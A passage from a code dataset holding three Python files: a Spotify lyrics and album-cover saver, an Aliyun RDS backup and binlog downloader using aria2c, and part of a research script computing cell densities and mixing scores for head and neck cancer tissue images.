replacer='x'))\r\n\r\n        if full_album_dir not in albums:\r\n            #if not, creates it\r\n            os.mkdir(full_album_dir)\r\n\r\n        #looks for all lyrics in the album folder\r\n        album_lyrics = glob.glob(os.path.join(full_album_dir, \"*.txt\"))\r\n        #sets a full path for the song\r\n        full_song_path = os.path.join(\r\n            full_album_dir, char_remover(f\"{self.song}.txt\", replacer='x'))\r\n        #checks if that lyric is not in the folder\r\n        if full_song_path not in album_lyrics:\r\n            #if it isn't, creates it\r\n            self.writer(full_song_path)\r\n\r\n        #calls the image downloader with the directory to download to and debug state\r\n        self.downloader(full_album_dir)\r\n\r\n    def downloader(self, album_path):\r\n        '''\r\n        Download's album covers from the current song if it hasn't been downloaded yet.\\n\r\n        Gets the image url from self.json set in self.spotify()\\n\r\n        '''\r\n        #sets variables related to the song\r\n        artist = self.js[\"item\"][\"album\"][\"artists\"][0][\"name\"]\r\n        name = self.js[\"item\"][\"album\"][\"name\"]\r\n        height = self.js[\"item\"][\"album\"][\"images\"][0][\"height\"]\r\n        width = self.js[\"item\"][\"album\"][\"images\"][0][\"width\"]\r\n        url = self.js[\"item\"][\"album\"][\"images\"][0][\"url\"]\r\n        #sets filename\r\n        filename = char_remover(\r\n            f\"{artist}_{name}_{height}x{width}.jpg\".replace(' ', '_'), replacer='x')\r\n        full_filename = os.path.join(album_path, filename)\r\n\r\n        #globs .jpg to a list if any\r\n        image = glob.glob(os.path.join(album_path, \"*.jpg\"))\r\n        if full_filename not in image:\r\n            if self.CONSOLE:\r\n                print(f\"downloading {filename}\", end=\"\\r\")\r\n\r\n            #makes a request to the image url provided by spotify\r\n            with requests.get(url, stream=True) as response:\r\n                with open(full_filename, \"wb\") as out_file:\r\n                    #uses shutil to pipe the response to a file\r\n                    shutil.copyfileobj(response.raw, out_file)\r\n\r\n    def writer(self, path):\r\n        '''Writes \"{song's name} {song's artist}\" as title, then writes the lyrics.'''\r\n        with io.open(path, 'w', encoding='utf-8') as f:\r\n            f.write(self.HEAD)\r\n            f.write(self.LYRICS)\r\n\r\n    def serialize(self, filename, js):\r\n        '''Writes Json to a file'''\r\n        if self.debug:\r\n            path = os.path.join(self.JSON_PATH, f'{filename}.json')\r\n            with io.open(path, 'w', encoding='utf-8') as f:\r\n                json.dump(js, f, indent=2)\r\n\r\n    @property\r\n    def access_token(self):\r\n        '''\r\n        When first initialized in self.HEADERS, gets the token from the cache file.\\n\r\n        If there is no file, calls self.authenticate(), which creates it and sets self._access_token\r\n        '''\r\n        try:\r\n            #the .cache-* is created by the spotipy token handler\r\n            #it contains the access_token, refresh_token and scope\r\n            cache_file = glob.glob(self.CACHE_PATH)[0]\r\n            #loads the cache\r\n            with io.open(cache_file, 'r') as f:\r\n                cache = json.load(f)\r\n            #sets the access_token\r\n            return cache['access_token']\r\n\r\n        except IndexError as e:\r\n            self.authenticate()\r\n            return self._access_token\r\n\r\n        except Exception as e:\r\n            raise e\r\n\r\n    @access_token.setter\r\n    def access_token(self, token):\r\n        '''When self.authorize is run, sets the access token and updates headers for spotify token'''\r\n        self._access_token = token\r\n        self.HEADERS[\"spotify\"][\"Authorization\"] = f'Bearer {token}'\r\n\r\n    def authenticate(self):\r\n        '''Calls for spotipy function that hadles API tokens and stores them into a json cache file'''\r\n        self.access_token = util.prompt_for_user_token(self.USERNAME, self.SCOPE, self.CLIENT_ID, self.CLIENT_SECRET, self.REDIRECT_URI, cache_path=self.CACHE_PATH)\r\n        self.spotifyObject = spotipy.Spotify(auth=self.access_token)\r\n        # if self.debug:\r\n        print('Authorized', end='\\r')\r\n\r\n\r\nif __name__ == '__main__':\r\n    Lyrics()","repo_name":"gustav-gustav/Spotify-Genius-lyrics","sub_path":"python/lyrics.py","file_name":"lyrics.py","file_ext":"py","file_size_in_byte":13855,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"36050495632","text":"#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom builtins import str\nfrom future import standard_library\n\nimport logging\nimport os\nimport requests\nimport base64\nimport sys\nimport time\nimport datetime\nimport hmac\nimport uuid\nfrom hashlib import sha1\nimport json\nimport math\nimport hashlib\nimport argparse\nfrom subprocess import Popen, PIPE\n\nstandard_library.install_aliases()\n\nif sys.version_info[0] == 2:\n    requests.packages.urllib3.contrib.pyopenssl.inject_into_urllib3()\n    from urllib import quote\n    from urllib import urlencode\nelse:\n    from urllib.parse import quote\n    from urllib.parse import urlencode\n\n\ntry:\n    config = json.loads(open('conf/setting.json').read())\n    ACCESS_KEY_ID = config['key_id']\n    ACCESS_KEY_SECRET = config['key_secret']\n    DBINSTANCEID = config['dbid']\n    SEARCH_BEFORE_DAYS = config['search_before_days']\n    FETCH_TYPE = config['fetch_type']\n    FETCH_FULLBACUP = config['fetch_fullbacup']\n    FETCH_BINLOG = config['fetch_binlog']\n    DATA_DIR = config['data_dir']\n    FULLBACUP_DIR = \"%s/%s/fullbackup\" % (DATA_DIR, DBINSTANCEID)\n    BINLOG_DIR = \"%s/%s/binlog\" % (DATA_DIR, DBINSTANCEID)\n    JOB_DIR = \"%s/jobs\" % DATA_DIR\n    LOG_DIR = \"%s/log\" % DATA_DIR\n    ARIA2_BIN = \"aria2c\" if config['aria2_bin'] == \"\" else config['aria2_bin']\n\nexcept KeyError:\n    print(\"Unable to locate Aliyun api credentials!\")\n    sys.exit(1)\n\n\nif not os.path.exists(LOG_DIR):\n    os.makedirs(LOG_DIR)\n\nlogging.basicConfig(level=logging.DEBUG,\n                    format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n                    datefmt='%m-%d %H:%M',\n                    filename='%s/%s.log' % (LOG_DIR,\n                                            time.strftime(\"%Y-%m-%d\")),\n                    filemode='w')\n\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\nconsole.setFormatter(logging.Formatter(\n    '%(name)-12s: %(levelname)-8s %(message)s'))\nlogging.getLogger('').addHandler(console)\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef _convert_size(size_bytes):\n    if size_bytes == 0:\n        return \"0B\"\n\n    size_name = (\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\")\n    i = int(math.floor(math.log(size_bytes, 1024)))\n    p = math.pow(1024, i)\n    s = round(size_bytes / p, 2)\n    return \"%s %s\" % (s, size_name[i])\n\n\ndef _calculate_md5(filename):\n    hash_md5 = hashlib.md5()\n    with open(filename, \"rb\") as f:\n        for chunk in iter(lambda: f.read(4096), b\"\"):\n            hash_md5.update(chunk)\n    return hash_md5.hexdigest()\n\n\ndef _gen_hook_args(args):\n    s = ''\n    binlogs = args['binlogs']\n    full_backups = args['full_backups']\n    for item in binlogs:\n        filepath = \"%s/%s/%s\" % (BINLOG_DIR,\n                                 item['instanceid'],\n                                 item['filename'])\n        s = \"%s\\n%s\" % (s, filepath)\n    for item in full_backups:\n        filepath = \"%s/%s\" % (FULLBACUP_DIR, item['filename'])\n        s = \"%s\\n%s\" % (s, filepath)\n\n    s = \"%s\\n\" % (s)\n    return s\n\n\n# for ali api signature\ndef _percent_encode(txt):\n    res = quote(str(txt))\n    res = res.replace('+', '%20')\n    res = res.replace('*', '%2A')\n    res = res.replace('%7E', '~')\n    return res\n\n\ndef _compute_signature(parameters, access_key_secret):\n    sortedParameters = sorted(\n        parameters.items(), key=lambda parameters: parameters[0])\n\n    canonicalizedQueryString = ''\n    for (k, v) in sortedParameters:\n        canonicalizedQueryString += '&' + \\\n            _percent_encode(k) + '=' + _percent_encode(v)\n\n    stringToSign = 'GET&%2F&' + _percent_encode(canonicalizedQueryString[1:])\n    bs = access_key_secret + \"&\"\n\n    h = hmac.new(\n        key=bytearray(bs, 'utf-8'),\n        msg=bytearray(stringToSign, 'utf-8'),\n        digestmod=sha1\n    )\n    signature = base64.encodestring(h.digest()).strip()\n    return signature\n\n\ndef _compose_url(params):\n    timestamp = time.strftime(\"%Y-%m-%dT%H:%M:%SZ\", time.gmtime())\n\n    parameters = {\n        'Format': 'JSON',\n        'Version': '2014-08-15',\n        'AccessKeyId': ACCESS_KEY_ID,\n        'SignatureVersion': '1.0',\n        'SignatureMethod': 'HMAC-SHA1',\n        'SignatureNonce': str(uuid.uuid1()),\n        'Timestamp': timestamp,\n    }\n\n    for key in params.keys():\n        parameters[key] = params[key]\n\n    signature = _compute_signature(parameters, ACCESS_KEY_SECRET)\n    parameters['Signature'] = signature\n\n    url = \"https://rds.aliyuncs.com/?\" + urlencode(parameters)\n\n    return url\n\n\ndef _make_request(params):\n    url = _compose_url(params)\n\n    r = requests.get(url)\n\n    try:\n        r.raise_for_status()\n        obj = r.json()\n        return obj\n    except requests.exceptions.HTTPError as e:\n        logger.error(\"Getting backup list error, aliapi response: %s\", r.text)\n        raise SystemExit(e)\n    except ValueError as e:\n        raise SystemExit(e)\n\n\ndef _add_lockfile(path):\n    # TODO: check lockfile if file already exist script should throw error\n    if not os.path.exists(path):\n        os.makedirs(path)\n    lockfile = \"%s/.lock\" % path\n    with open(lockfile, 'a'):\n        os.utime(lockfile, None)\n\n\ndef _remove_lockfile(path):\n    os.remove(\"%s/.lock\" % path)\n\n\ndef get_download_info():\n    # FUCK YOU ALIYUN\n    # api DescribeBackups time format yyyy-MM-dd’T’HH:mmZ\n    # api DescribeBinlogFiles time format yyyy-MM-dd’T’HH:mm:ssZ\n    befroe_day = 86400 * datetime.timedelta(days=SEARCH_BEFORE_DAYS).days\n    starttime = time.strftime(\"%Y-%m-%dT%H:%M\", time.gmtime(\n        time.time() - befroe_day))\n    now = time.time() - datetime.timedelta(seconds=1).seconds\n    endtime = time.strftime(\"%Y-%m-%dT%H:%M\",\n                            time.gmtime(now))\n    full_backups = []\n    binlogs = []\n\n    if FETCH_FULLBACUP:\n        logger.info(\"# Fetch fullbackup files list\")\n        payload = {\n            'Action': 'DescribeBackups',\n            'DBInstanceId': DBINSTANCEID,\n            'StartTime': \"%sZ\" % starttime,\n            'EndTime': \"%sZ\" % endtime\n        }\n\n        resp = _make_request(payload)\n        logger.debug(\"Getting fullbackup list aliapi response:\\n%s\", resp)\n\n        try:\n            items = resp['Items']['Backup']\n            for item in items:\n                name = item['BackupDownloadURL'].split('/')[-1].split('?')[0]\n                if FETCH_TYPE == 'difference':\n                    filepath = \"%s/%s\" % (FULLBACUP_DIR, name)\n                    if os.path.exists(filepath):\n                        l_size = os.stat(filepath).st_size\n                        r_size = item['BackupSize']\n                        if _convert_size(l_size) == _convert_size(r_size):\n                            continue\n\n                full_backups.append({'filename': name,\n                                     'url': item['BackupDownloadURL'],\n                                     'checksum': None})\n        except KeyError:\n            logger.error(\"Can't parse fullbackup list\")\n\n    if FETCH_BINLOG:\n        logger.info(\"# Fetch binglog files list\")\n        payload = {\n            'Action': 'DescribeBinlogFiles',\n            'DBInstanceId': DBINSTANCEID,\n            'StartTime': \"%s:00Z\" % starttime,\n            'EndTime': \"%s:00Z\" % endtime\n        }\n\n        resp = _make_request(payload)\n        logger.debug(\"getting binlog list aliapi response:\\n%s\", resp)\n\n        try:\n            items = resp['Items']['BinLogFile']\n            for item in items:\n                name = item['DownloadLink'].split('/')[-1].split('?')[0]\n                if FETCH_TYPE == 'difference':\n                    filepath = \"%s/%s/%s\" % (BINLOG_DIR,\n                                             item['HostInstanceID'],\n                                             name)\n                    if os.path.exists(filepath):\n                        l_md5 = _calculate_md5(filepath)\n                        r_md5 = item['Checksum']\n                        if l_md5 == r_md5:\n                            continue\n\n                binlogs.append({'filename': name,\n                                'url': item['DownloadLink'],\n                                'checksum': item['Checksum'],\n                                'instanceid': item['HostInstanceID'],\n                                'LogBeginTime': item['LogBeginTime'],\n                                'LogEndTime': item['LogEndTime']})\n        except KeyError:\n            logger.error(\"Can't parse binlog list\")\n\n    return {'full_backups': full_backups, 'binlogs': binlogs}\n\n\ndef make_donwload_job(infos):\n    logger.info(\"# Starting make download job file\")\n    if not os.path.exists(JOB_DIR):\n        os.makedirs(JOB_DIR)\n\n    jobfiles = {}\n    now = time.strftime(\"%Y-%m-%d\", time.gmtime())\n    if FETCH_FULLBACUP:\n        filename = \"%s/full_%s.txt\" % (JOB_DIR, now)\n        with open(filename, 'w') as f:\n            for item in infos['full_backups']:\n                f.write(item['url'])\n                f.write('\\n')\n                f.write('\\n')\n                f.write(\" dir=%s\\n\" % FULLBACUP_DIR)\n                f.write(\" out=%s\\n\" % item['filename'])\n                f.write(\" file-allocation=falloc\\n\")\n                f.write(\" continue=true\\n\")\n                f.write(\" max-connection-per-server=10\\n\")\n                f.write(\"  split=10\\n\\n\")\n        jobfiles['fucll_backup'] = filename\n\n    if FETCH_BINLOG:\n        filename = \"%s/binlog_%s.txt\" % (JOB_DIR, now)\n        with open(filename, 'w') as f:\n            for item in infos['binlogs']:\n                f.write(item['url'])\n                f.write('\\n')\n                f.write('\\n')\n                f.write(\" dir=%s/%s\\n\" % (BINLOG_DIR, item['instanceid']))\n                f.write(\" out=%s\\n\" % item['filename'])\n                f.write(\" check-integrity=true\\n\")\n                f.write(\" checksum=md5=%s\\n\" % item['checksum'])\n                f.write(\" continue=true\\n\")\n                f.write(\" max-connection-per-server=10\\n\")\n                f.write(\"  split=10\\n\\n\")\n            jobfiles['binglog'] = filename\n\n    return jobfiles\n\n\ndef exec_download_job(job_files):\n    if FETCH_FULLBACUP:\n        job_file = job_files['fucll_backup']\n        logger.info(\n            \"# Starting download fullbackup files, job file: %s\", job_file)\n\n        p = Popen('%s -i %s' % (ARIA2_BIN, job_file), shell=True, stdin=PIPE,\n                  stdout=PIPE, close_fds=True, bufsize=1,\n                  universal_newlines=True)\n        output, err = p.communicate()\n        if p.returncode == 0:\n            logger.info(\"# Download fullbackup files success\")\n        else:\n            logger.info(\"# Download fullbackup files error\")\n\n        logger.debug(\"aria2 return:\\n%s\", output)\n\n    if FETCH_BINLOG:\n        job_file = job_files['binglog']\n        logger.info(\"# Starting download binlog files, job file: %s\", job_file)\n\n        p = Popen('%s -i %s' % (ARIA2_BIN, job_file),\n                  shell=True, stdin=PIPE, stdout=PIPE,\n                  close_fds=True, bufsize=1, universal_newlines=True)\n        output, err = p.communicate()\n        if p.returncode == 0:\n            logger.info(\"# Download binlog files success\")\n        else:\n            logger.info(\"# Download binlog files error\")\n\n        logger.debug(\"aria2 return:\\n%s\", output)\n\n\ndef main(args):\n    _add_lockfile(DATA_DIR)\n    logger.info(\"# Downloader starting...\")\n    info = get_download_info()\n    job = make_donwload_job(info)\n    exec_download_job(job)\n\n    if args.hook:\n        hook_args = _gen_hook_args(info)\n        logger.debug(\"run hook args:\\n%s\", hook_args)\n        p = Popen([args.hook, hook_args])\n        p.wait()\n\n    _remove_lockfile(DATA_DIR)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--hook', action=\"store\",\n                        help='hook script')\n    args = parser.parse_args()\n    main(args)\n","repo_name":"abriko/rdsbackup-downloader","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24199506884","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCode author: Katie E. Blise\nOriginal Date: March, 2021\nRevised Date: September, 2021\n\nThis .py file contains all code needed to reproduce the figures in the paper:\n\"Single-Cell Spatial Proteomics Analyses of Head and Neck Squamous Cell Carcinoma Reveal Tumor Heterogeneity and Immune Architectures Associated with Clinical Outcome\"\n\n\nThis .py file contains multiple functions:\n    getCsvs() - generates a list of all 47 tumor regions analyzed, in correct order for figure generation\n    cellClassRename - generates dictionary with gated cell labels converted to biologically relevant cell phenotypes\n    densityToCsv() - create csvs with counts of cell types for all tumor regions, to generate figure 1\n    calculateMixing() - calculates mixing score for all tumor regions, to generate figure 3\n    calculateCold() - calculates which tumor regions are labeled 'cold,' to generage figure 3\n    pdCounts() - create csvs with counts of PD-1+ and PD-L1+ cells for all tumor regions, to generate figure 3\n    kiCounts() - create csvs with counts of Ki-67+ cells for all tumor regions, to generate figure 3\n    makeNeighborhoods() - create csv with cellular neighborhood compositions for each seed cell within distance threshold, to generate figure 4\n    elbowMethod() - gerate elbow plot to determine optimal number of clusters for k-means clustering\n    clusterNeighborhoods() - create csv with results from k-means clustering on cellular neighborhoods, to generate figure 4\n    clusterCountPerROI() - create csvs with counts of cellular neighborhood clusters for all tumor regions, to generate figure 4\n    fig1() - generates Figures 1b-g\n    fig2() - generates Figures 2a-d\n    fig3() - generates Figures 3b-i\n    fig4() - generates Figures 4b-d, f-g\n    table3() - generates Table 3\n    supp1() - generates Supplemental Figure 1c\n    supp2() - generates Supplemental Figures 2a-e\n    supp3() - generates Supplemental Figures 3b-f\n    \n\nNote: This program assumes the following items live in the same directory as this .py file:\n    -'dfCreated' folder\n    -'figures' folder\n    -'data' folder, which houses: all mIHC data (.csv files) and clinical data file (.csv)  \n\nThis program is intended for Python version 3.\n\"\"\"\n\n\n\ndef getCsvs():\n    \n    '''\n    This function generates a list containing all 47 tumor regions analyzed.\n    Note: all tumor regions are assumed to be downloaded and stored in the 'data' folder.\n    \n    Input parameters:\n        None\n    \n    Output:\n        Returns csvList = a list that contains all 47 tumor regions analyzed, in order of pt#, pre/post, roi\n    '''\n    \n    #import packages\n    import os\n    \n    #get list of all files in current directory/data\n    cwd = os.getcwd()\n    files = os.listdir(cwd+'/data')\n    \n    #keep only tumor regions in csvList\n    filesUpdate = []\n\n    for file in files:\n        if 'roi' in file:\n            filesUpdate.append(file[0:-4]) #add file, drop '.csv' for figure code\n        \n    #create csvList to store correct csvs, in correct order for further analyses\n    csvList = []\n    \n    treatList = ['pre','post']\n    \n    #iterate through 9 patients\n    for i in range(1,10):\n        \n        pt = 'pt'+str(i)\n        \n        for treat in treatList:\n            \n            #create pt# string to match on\n            region = pt+treat\n            \n            toAddList = [roi for roi in filesUpdate if region in roi]\n            toAddList.sort()\n            \n            #add csvs in order to csvList\n            csvList = csvList + toAddList\n    \n    return csvList\n\n\n\ndef cellClassRename():\n    \n    '''\n    This function returns a dicionary of matched cell class IDs (A/B/C/etc) with their corresponding cell class names (CD8+ T cell/CD4+ T-helper cell/B cell/etc).\n    \n    Input parameters:\n        None        \n        \n    Output:\n        returns nameDict = a dictionary of {cell class IDs:cell class names} \n    '''\n    \n    nameDict = {'A':'CD8+ T Cell','B':'CD4+ T Helper','C':'B Cell','D':'Macrophage','E':'Other Immune','F':'Other Non-Immune','G':'Noise','H':'Neoplastic Tumor','J':'Granulocyte','K':'CD4+ Regulatory T Cell','N':'⍺SMA+ Mesenchymal','X':'Antigen Presenting Cell'}\n       \n    return nameDict\n\n\n\ndef densityToCsv(cellList):\n\n    '''\n    This function calculates the density of cells present in a given list of csvs. It saves the results to csvs - both for all regions and averaged across regions (for a single tumor).\n\n    Input parameters:\n        cellList = list of cell classes to count; eg ['A','B','C','H']\n\n    Outputs:\n        Saves two csvs to the dfCreated folder; one with density of all regions and one with density averaged across regions\n    '''\n\n    #import packages\n    import pandas as pd\n    import os\n\n    #get csvList\n    csvList = getCsvs()\n\n    #get current directory\n    cwd = os.getcwd()\n\n    ##create new df and add clinical data to it\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    dfClin.set_index('sample',inplace=True) #set index labels to be the patient column\n\n    #create a new df to store clinical data and counts\n    dfDensity = pd.DataFrame()\n    dfDensity['patient'] = csvList\n    dfDensity.set_index('patient',inplace=True) #set index labels to be the patient column\n    dfDensity['dtr'] = dfClin['dtr']\n    dfDensity['dtr'] = pd.to_numeric(dfDensity['dtr'],errors='coerce')\n\n    #set up to store densities in value's list of countDict\n    countDict = {}\n    for cell in cellList:\n        countDict[cell] = [] #empty list to hold cell counts for each cell type we care about\n\n    #loop through csvs and calculate counts\n    for file in csvList:\n        df = pd.read_csv(cwd+'/data/'+file+'.csv',index_col=0)\n\n        #get area of the region\n        area = dfClin.loc[file,'area']\n\n        #only include specified cell types in the df\n        df = df[[cell in cellList for cell in df['class']]]\n\n        #get counts of all cells in the df\n        freq = df['class'].value_counts()\n\n        for cell in cellList: #only include cells that we want\n\n            if cell in freq: #check if the cell type exists in the file\n                countDict[cell].append(freq[cell]/area) #add the frequency/area (density) of the cell type to the dictionary value's list\n            else:\n                countDict[cell].append(0) #otherwise add zero as the count\n\n    #put counts into dfDensity\n    for c,countList in countDict.items():\n        dfDensity[c] = countList\n\n    #save to csv for all regions\n    dfDensity.to_csv(cwd+'/dfCreated/dfDensity_all.csv')\n\n    #create new dataframe with averaged numbers for every ROI within one patient\n    dfDensity.index = dfDensity.index.str.slice(0,6) #update patient column with just the first six characters in string; so you can use groupby\n\n    #groupby same patient (diff ROI) and take the average of the corresponding rows\n    dfDensityAvg = dfDensity.groupby(['patient']).mean()\n\n    #save dfAvg to csv\n    dfDensityAvg.to_csv(cwd+'/dfCreated/dfDensity_avg.csv')\n\n\n\ndef calculateMixing(distThresh,cellList):\n    \n    '''\n    This function calculates the mixing score for all tumor regions and saves the results to a csv in the 'dfCreated' folder.\n    It assumes that interactions are counted between cells defined in the cellList parameter and tumor cells (H).\n    Note that the raw counts of cell interactions is doubled, but when doing the mixing score calculation, the division negates this.       \n\n    Input parameters:\n        distThresh = distance threshold to count cells as interacting; radius; in pixels (2px = 1µm)\n        cellList = list of cell types to include as cells counted in interaction tallies in the mixing score calculation; for all immune: ['A','B','C','D','E','J','K','X']\n    \n    Outputs:\n        Saves two csvs to the dfCreated folder; one with mixing scores of all regions and one with scores averaged across regions  \n    '''\n    \n    #import packages\n    import pandas as pd\n    import os\n    import numpy as np\n    from scipy import spatial\n\n    #get csvList\n    csvList = getCsvs()\n    \n    #get current directory\n    cwd = os.getcwd()\n        \n    ##create new df and add clinical data to it\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    \n    #empty lists to store clinical data from dfClin\n    dtrList = []\n    \n    #create a new df to store clinical data and scores\n    dfMix = pd.DataFrame()\n    dfMix['patient'] = csvList\n    dfMix.set_index('patient',inplace=True) #set index labels to be the patient column\n    \n    #loop through each csv in csvList to get clinical values of only the csvs included in the list\n    for pt in csvList:\n        idx = dfClin.loc[dfClin['sample'] == pt].index[0]\n        dtrList.append(dfClin['dtr'].iloc[idx]) #add to dtr list\n    \n    #put lists into dfScore dataframe and convert all values to int and any missing values to NaN values\n    dfMix['dtr'] = dtrList\n    dfMix['dtr'] = pd.to_numeric(dfMix['dtr'],errors='coerce')    \n    \n    #calculate mix scores - store values to list to add to dfMix\n    mixList = []\n    \n    #loop through each tumor region in csvList and calculate its mixing score\n    for file in csvList:\n\n        print('Calculating mixing score for '+file+'...')\n        \n        #read original tumor region csv\n        df = pd.read_csv(cwd+'/data/'+file+'.csv', index_col=0)\n        \n        #create list of cell types to keep in the df; will include the specified cells from cellList parameter plus the tumor population\n        keepCells = cellList + ['H']\n            \n        #create filtered dataframe using keepCells list\n        filt_df = df[df['class'].isin(keepCells)]\n        \n        #create np array of just x,y coordinates\n        ptsArray = filt_df[['Location_Center_X','Location_Center_Y']].values\n        \n        #create kdtree\n        tree = spatial.KDTree(ptsArray)\n        \n        #create empty dictionary to hold index:list of neighboring cells' indeces\n        neighDict = {}\n        \n        #determine cells within radius using KDtree query_ball_point\n        for i in range(len(ptsArray)):\n            neighs = tree.query_ball_point(ptsArray[i],distThresh) #get neighbors within distance\n            if i in neighs:\n                neighs.remove(i) #don't include itself as a neighbor\n            neighDict[i] = neighs #index:list of neighboring cells' indeces\n        \n    \n        #tumor cells are type H; cellList is specified as a parameter    \n        tumList = ['H'] #all runs have H as the tumor cell type\n            \n        #set counts to zero to start\n        tumImmCount = 0\n        immImmCount = 0\n \n        #calculate mixing score\n        for key,val in neighDict.items(): #key = index of cell1; val = list of neighboring cells' indeces\n            \n            class1 = filt_df['class'].values[key] #get original classification of cell1\n    \n            for n in val: #loop through each neighbor indeces\n                class2 = filt_df['class'].values[n] #get original classification of the neighboring cells\n    \n                if (class1 in tumList and class2 in cellList) or (class2 in tumList and class1 in cellList): #tumor:immune interaction\n                    tumImmCount = tumImmCount + 1\n        \n                elif class1 in cellList and class2 in cellList: #immune:immune interaction\n                    immImmCount = immImmCount + 1\n    \n        #avoid dividing by zero\n        if immImmCount != 0:\n            mixScore = tumImmCount/immImmCount\n    \n        elif immImmCount == 0:\n            mixScore = np.nan #assign NaN value to avoid dividing by zero; so it's properly evaluated (ignored) in the mean calculation\n                    \n        #add mixing score to mixList\n        mixList.append(mixScore)\n\n    #put mixList into dfMix\n    dfMix['mixScore'] = mixList\n    \n    #save dfMix to csv; so when you restart kernel you don't have to rerun analysis on all tumors\n    dfMix.to_csv(cwd+'/dfCreated/dfMixingScores_all.csv')\n    \n    #create new dataframe with averaged numbers for every ROI within one patient\n    dfMix.index = dfMix.index.str.slice(0,6) #update patient column with just the first six characters in string; so you can use groupby\n    \n    #groupby same patient (diff ROI) and take the average of the corresponding rows\n    dfMixAvg = dfMix.groupby(['patient']).mean()\n    \n    #save dfMixAvg to csv\n    dfMixAvg.to_csv(cwd+'/dfCreated/dfMixingScores_avg.csv')\n\n\n\ndef calculateCold():\n\n    '''\n    This function calculates which tumor regions are designated cold and saves new csvs that exclude the cold regions.\n    It uses the same threshold (ratio) as that in Keren et al.\n    \n    Input parameters:\n        None\n    \n    Outputs:\n        Saves two csvs to the dfCreated folder; one with mixing scores of all regions and one with scores averaged across regions, although both exclude cold regions\n    '''\n    \n    #import packages\n    import pandas as pd\n    import os\n    \n    #get csvList\n    csvList = getCsvs()\n    \n    #get current directory\n    cwd = os.getcwd()\n    \n    #set immune cell types to count up\n    immList = ['A','B','C','D','E','J','K','X']\n    \n    immCountDict = {} #to store file: immune cell density\n    \n    #get area values to calculate immune density\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    dfClin.set_index('sample',inplace=True) #set index labels to be the sample column\n    \n    for file in csvList:\n    \n        #get original roi file\n        df = pd.read_csv(cwd+'/data/'+file+'.csv', index_col=0)\n    \n        #get corresponding area of that roi\n        area = dfClin.loc[file,'area']\n        \n        #get raw counts of each class in the roi\n        counts = df['class'].value_counts()\n        \n        #reset for each csv; tally total immune cells\n        count = 0\n        \n        for i in immList:\n            if i in counts:\n                count = count + counts[i]    \n        #add immune count/area (density) to dictionary for each roi\n        immCountDict[file] = count/area   \n    \n    #identify csvs with a count of fewer than 390.625 immune cells; these are the 'cold' regions; Keren et al used <250 immune per 0.64mm2 area which is equal to <390.625\n    excludeList = [] #empty list to store cold regions\n    for key,value in immCountDict.items():\n        if value < 390.625: #threshold determined using Keren et al's threshold (adjusting for image size)\n            #print(key)\n            excludeList.append(key) #add region to the exclude list\n    \n    print('Regions to exclude:',excludeList)        \n    \n    #call mixing score df\n    dfMix = pd.read_csv(cwd+'/dfCreated/dfMixingScores_all.csv',index_col=0)\n    \n    #get rid of cold ROIs\n    dfFilt = dfMix.loc[~dfMix.index.isin(excludeList)]\n    \n    ##save cold excluded results to new csvs\n    dfFilt.to_csv(cwd+'/dfCreated/dfMixingScoresExcludeCold_all.csv')\n    \n    #reset index to then use groupby - for average\n    dfFilt.index = dfFilt.index.str.slice(0,6)\n    \n    #groupby same patient and average\n    dfFiltAvg = dfFilt.groupby(['patient']).mean()\n    \n    #save updated dfFiltAvg averaged across patients to a new csv\n    dfFiltAvg.to_csv(cwd+'/dfCreated/dfMixingScoresExcludeCold_avg.csv')\n\n\n\ndef pdCounts():\n    \n    '''\n    This function counts the number of cells in each region that are gated positive for PD-1 and PD-L1.\n    It calculates percentage counts: for example (PD-1+ CD8 T cells)/(all CD8 T cells)\n    Results for % counts are saved to csvs - one for all regions and one averaged across regions (per tumor).\n    \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves two csvs to the dfCreated folder; one with % PD-1+ and PD-L1+ counts of all regions and one with % counts averaged across regions    \n    '''\n    \n    import pandas as pd\n    import os\n    \n    #get csvList\n    csvList = getCsvs()\n    \n    #get current directory\n    cwd = os.getcwd()\n     \n    #get clinical df\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    \n    #empty lists to store clinical data from dfClin\n    dtrList = []\n    \n    #create a new df to store clinical data and % counts\n    dfCount = pd.DataFrame()\n    dfCount['patient'] = csvList\n    dfCount.set_index('patient',inplace=True) #set index labels to be the patient column\n    \n    #loop through each csv in csvList to get clinical values of only the csvs included in the list\n    for pt in csvList:\n        idx = dfClin.loc[dfClin['sample'] == pt].index[0]\n        dtrList.append(dfClin['dtr'].iloc[idx]) #add to dtr list\n    \n    #put lists into dfScore dataframe and convert all values to int and any missing values to NaN values\n    dfCount['dtr'] = dtrList\n    dfCount['dtr'] = pd.to_numeric(dfCount['dtr'],errors='coerce')\n    \n    #set up to store pd1/pdl1 raw counts in value's list of countDict\n    countDict = {}\n    dfRaw = pd.DataFrame() #empty df to store raw counts\n    dfRaw['patient'] = csvList\n    dfRaw.set_index('patient',inplace=True) #set index labels to be the patient column\n    \n    #list all cell types to count pd-1 and pd-l1 expression\n    cellList = ['A','B','C','D','E','J','K','X','N','H']   \n    \n    #create empty lists to hold cell counts for each cell type/PD-status we care about\n    for cell in cellList:\n        countDict[cell+'_pd1+'] = [] #PD-1+\n        countDict[cell+'_pdl1+'] = [] #PD-L1+\n    \n    #loop through csvs and calculate counts\n    for file in csvList:    \n        #get original csv\n        df = pd.read_csv(cwd+'/data/'+file+'.csv',index_col=0)\n    \n        for cell in cellList:\n            #make smaller df of just the cell type we want\n            dfCell = df[(df['class'] == cell)] #note that if cell type does not exist in the df, zeros will automatically be added as the counts\n    \n            #only count the cells positive 